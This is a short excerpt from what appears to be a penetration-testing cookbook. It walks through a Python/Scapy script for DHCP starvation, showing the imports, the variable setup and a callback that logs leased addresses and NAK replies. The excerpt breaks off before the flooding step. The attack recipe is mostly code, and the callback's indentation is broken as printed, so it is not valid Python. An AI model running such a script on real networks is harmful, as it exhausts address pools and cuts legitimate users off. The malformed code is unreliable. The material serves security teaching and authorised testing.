Python Penetration Testing Cookbook

How to do it...

Let's try writing a script to starve the DHCP in the network:

1. Create a dhcp-starvation.py file and open in your editor.
2. Import the required modules:

from scapy.all import *
from time import sleep
from threading import Thread 

We require Scapy for crafting the packets, and a threading module for threaded execution of the script

3. Now, define the variables:

mac = [""]
ip = []  

4. Now we can define the callback function to handle the captured DHCP packets:

def callback_dhcp_handle(pkt):
    if pkt.haslayer(DHCP):
       if pkt[DHCP].options[0][1]==5 and pkt[IP].dst != "192.168.1.38":
          ip.append(pkt[IP].dst)
             print (str(pkt[IP].dst)+" registered")
          elif pkt[DHCP].options[0][1]==6:
              print ("NAK received")  

This function is called to process ...